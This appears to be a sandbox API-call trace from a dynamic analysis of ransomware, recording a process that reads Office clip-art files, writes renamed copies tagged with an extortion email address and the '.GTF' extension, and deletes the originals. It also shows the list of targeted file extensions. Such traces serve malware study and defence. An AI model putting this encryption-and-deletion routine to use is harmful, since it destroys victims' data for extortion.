	[0184.501] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0184.501] lstrlenW (lpString=".ppt") returned 4
	[0184.501] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68
	[0184.501] lstrlenW (lpString=".zip") returned 4
	[0184.501] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.501] lstrlenW (lpString=".rar") returned 4
	[0184.501] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.501] lstrlenW (lpString=".bz2") returned 4
	[0184.501] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.501] lstrlenW (lpString=".7z") returned 3
	[0184.501] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68
	[0184.501] lstrlenW (lpString=".dbf") returned 4
	[0184.501] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68
	[0184.501] lstrlenW (lpString=".1cd") returned 4
	[0184.501] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68
	[0184.501] lstrlenW (lpString=".jpg") returned 4
	[0184.501] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.502] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0184.502] lstrlenW (lpString="J0187881.WMF") returned 12
	[0184.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187881.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0184.503] GetFileSizeEx (in: hFile=0x2a4, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=4696) returned 1
	[0184.503] CloseHandle (hObject=0x2a4) returned 1
	[0184.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187881.wmf")) returned 0x220
	[0184.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187881.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0184.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187881.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0184.503] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.503] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187881.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8
	[0184.504] GetLastError () returned 0x0
	[0184.504] ReadFile (in: hFile=0x2a4, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x1258, lpOverlapped=0x0) returned 1
	[0184.506] WriteFile (in: hFile=0x2a8, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x1260, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x1260, lpOverlapped=0x0) returned 1
	[0184.507] ReadFile (in: hFile=0x2a4, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.507] WriteFile (in: hFile=0x2a8, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.507] SetEndOfFile (hFile=0x2a8) returned 1
	[0184.508] CloseHandle (hObject=0x2a8) returned 1
	[0184.508] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.508] SetEndOfFile (hFile=0x2a4) returned 1
	[0184.510] CloseHandle (hObject=0x2a4) returned 1
	[0184.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0184.510] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187881.wmf")) returned 1
	[0184.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68
	[0184.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68
	[0184.511] lstrlenW (lpString=".doc") returned 4
	[0184.511] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.511] lstrlenW (lpString=".docx") returned 5
	[0184.511] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0184.511] lstrlenW (lpString=".pdf") returned 4
	[0184.511] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.511] lstrlenW (lpString=".xls") returned 4
	[0184.511] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.511] lstrlenW (lpString=".xlsx") returned 5
	[0184.511] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0184.511] lstrlenW (lpString=".ppt") returned 4
	[0184.511] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68
	[0184.511] lstrlenW (lpString=".zip") returned 4
	[0184.511] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.511] lstrlenW (lpString=".rar") returned 4
	[0184.512] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.512] lstrlenW (lpString=".bz2") returned 4
	[0184.512] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.512] lstrlenW (lpString=".7z") returned 3
	[0184.512] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68
	[0184.512] lstrlenW (lpString=".dbf") returned 4
	[0184.512] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68
	[0184.512] lstrlenW (lpString=".1cd") returned 4
	[0184.512] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68
	[0184.512] lstrlenW (lpString=".jpg") returned 4
	[0184.512] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68
	[0184.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68
	[0184.512] lstrlenW (lpString=".doc") returned 4
	[0184.512] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.512] lstrlenW (lpString=".docx") returned 5
	[0184.512] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0184.512] lstrlenW (lpString=".pdf") returned 4
	[0184.512] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.512] lstrlenW (lpString=".xls") returned 4
	[0184.512] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.512] lstrlenW (lpString=".xlsx") returned 5
	[0184.512] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0184.512] lstrlenW (lpString=".ppt") returned 4
	[0184.512] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68
	[0184.512] lstrlenW (lpString=".zip") returned 4
	[0184.512] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.512] lstrlenW (lpString=".rar") returned 4
	[0184.512] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.512] lstrlenW (lpString=".bz2") returned 4
	[0184.512] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.513] lstrlenW (lpString=".7z") returned 3
	[0184.513] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68
	[0184.513] lstrlenW (lpString=".dbf") returned 4
	[0184.513] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68
	[0184.513] lstrlenW (lpString=".1cd") returned 4
	[0184.513] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68
	[0184.513] lstrlenW (lpString=".jpg") returned 4
	[0184.513] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.513] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0184.513] lstrlenW (lpString="J0187883.WMF") returned 12
	[0184.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187883.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0184.514] GetFileSizeEx (in: hFile=0x2a4, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=2100) returned 1
	[0184.514] CloseHandle (hObject=0x2a4) returned 1
	[0184.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187883.wmf")) returned 0x220
	[0184.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187883.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0184.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187883.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0184.514] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.514] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187883.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8
	[0184.515] GetLastError () returned 0x0
	[0184.515] ReadFile (in: hFile=0x2a4, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x834, lpOverlapped=0x0) returned 1
	[0184.527] WriteFile (in: hFile=0x2a8, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x840, lpOverlapped=0x0) returned 1
	[0184.528] ReadFile (in: hFile=0x2a4, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.528] WriteFile (in: hFile=0x2a8, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.528] SetEndOfFile (hFile=0x2a8) returned 1
	[0184.528] CloseHandle (hObject=0x2a8) returned 1
	[0184.529] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.529] SetEndOfFile (hFile=0x2a4) returned 1
	[0184.531] CloseHandle (hObject=0x2a4) returned 1
	[0184.531] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0184.532] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187883.wmf")) returned 1
	[0184.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF") returned 68
	[0184.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF") returned 68
	[0184.533] lstrlenW (lpString=".doc") returned 4
	[0184.533] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.533] lstrlenW (lpString=".docx") returned 5
	[0184.533] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0184.533] lstrlenW (lpString=".pdf") returned 4
	[0184.533] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.533] lstrlenW (lpString=".xls") returned 4
	[0184.533] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.533] lstrlenW (lpString=".xlsx") returned 5
	[0184.533] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0184.533] lstrlenW (lpString=".ppt") returned 4
	[0184.533] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF") returned 68
	[0184.533] lstrlenW (lpString=".zip") returned 4
	[0184.533] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.533] lstrlenW (lpString=".rar") returned 4
	[0184.533] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.533] lstrlenW (lpString=".bz2") returned 4
	[0184.533] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.533] lstrlenW (lpString=".7z") returned 3
	[0184.533] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF") returned 68
	[0184.533] lstrlenW (lpString=".dbf") returned 4
	[0184.533] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF") returned 68
	[0184.533] lstrlenW (lpString=".1cd") returned 4
	[0184.533] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF") returned 68
	[0184.533] lstrlenW (lpString=".jpg") returned 4
	[0184.533] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF") returned 68
	[0184.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF") returned 68
	[0184.534] lstrlenW (lpString=".doc") returned 4
	[0184.534] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.534] lstrlenW (lpString=".docx") returned 5
	[0184.534] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0184.534] lstrlenW (lpString=".pdf") returned 4
	[0184.534] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.534] lstrlenW (lpString=".xls") returned 4
	[0184.534] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.534] lstrlenW (lpString=".xlsx") returned 5
	[0184.534] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0184.534] lstrlenW (lpString=".ppt") returned 4
	[0184.534] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF") returned 68
	[0184.534] lstrlenW (lpString=".zip") returned 4
	[0184.534] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.534] lstrlenW (lpString=".rar") returned 4
	[0184.534] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.534] lstrlenW (lpString=".bz2") returned 4
	[0184.534] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.534] lstrlenW (lpString=".7z") returned 3
	[0184.534] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF") returned 68
	[0184.534] lstrlenW (lpString=".dbf") returned 4
	[0184.534] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF") returned 68
	[0184.534] lstrlenW (lpString=".1cd") returned 4
	[0184.534] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF") returned 68
	[0184.534] lstrlenW (lpString=".jpg") returned 4
	[0184.534] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.535] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0184.535] lstrlenW (lpString="J0187893.WMF") returned 12
	[0184.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187893.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0184.536] GetFileSizeEx (in: hFile=0x2a4, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=5620) returned 1
	[0184.536] CloseHandle (hObject=0x2a4) returned 1
	[0184.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187893.wmf")) returned 0x220
	[0184.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187893.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0184.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187893.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0184.537] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.537] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187893.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8
	[0184.538] GetLastError () returned 0x0
	[0184.538] ReadFile (in: hFile=0x2a4, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x15f4, lpOverlapped=0x0) returned 1
	[0184.568] WriteFile (in: hFile=0x2a8, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x1600, lpOverlapped=0x0) returned 1
	[0184.569] ReadFile (in: hFile=0x2a4, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.569] WriteFile (in: hFile=0x2a8, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.569] SetEndOfFile (hFile=0x2a8) returned 1
	[0184.570] CloseHandle (hObject=0x2a8) returned 1
	[0184.572] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.572] SetEndOfFile (hFile=0x2a4) returned 1
	[0184.591] CloseHandle (hObject=0x2a4) returned 1
	[0184.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0184.594] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187893.wmf")) returned 1
	[0184.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68
	[0184.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68
	[0184.595] lstrlenW (lpString=".doc") returned 4
	[0184.595] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.595] lstrlenW (lpString=".docx") returned 5
	[0184.595] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0184.595] lstrlenW (lpString=".pdf") returned 4
	[0184.595] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.595] lstrlenW (lpString=".xls") returned 4
	[0184.595] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.595] lstrlenW (lpString=".xlsx") returned 5
	[0184.595] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0184.595] lstrlenW (lpString=".ppt") returned 4
	[0184.595] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68
	[0184.595] lstrlenW (lpString=".zip") returned 4
	[0184.595] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.595] lstrlenW (lpString=".rar") returned 4
	[0184.595] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.596] lstrlenW (lpString=".bz2") returned 4
	[0184.596] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.596] lstrlenW (lpString=".7z") returned 3
	[0184.596] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68
	[0184.596] lstrlenW (lpString=".dbf") returned 4
	[0184.596] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68
	[0184.596] lstrlenW (lpString=".1cd") returned 4
	[0184.596] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68
	[0184.596] lstrlenW (lpString=".jpg") returned 4
	[0184.596] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68
	[0184.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68
	[0184.596] lstrlenW (lpString=".doc") returned 4
	[0184.596] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.596] lstrlenW (lpString=".docx") returned 5
	[0184.596] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0184.596] lstrlenW (lpString=".pdf") returned 4
	[0184.596] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.596] lstrlenW (lpString=".xls") returned 4
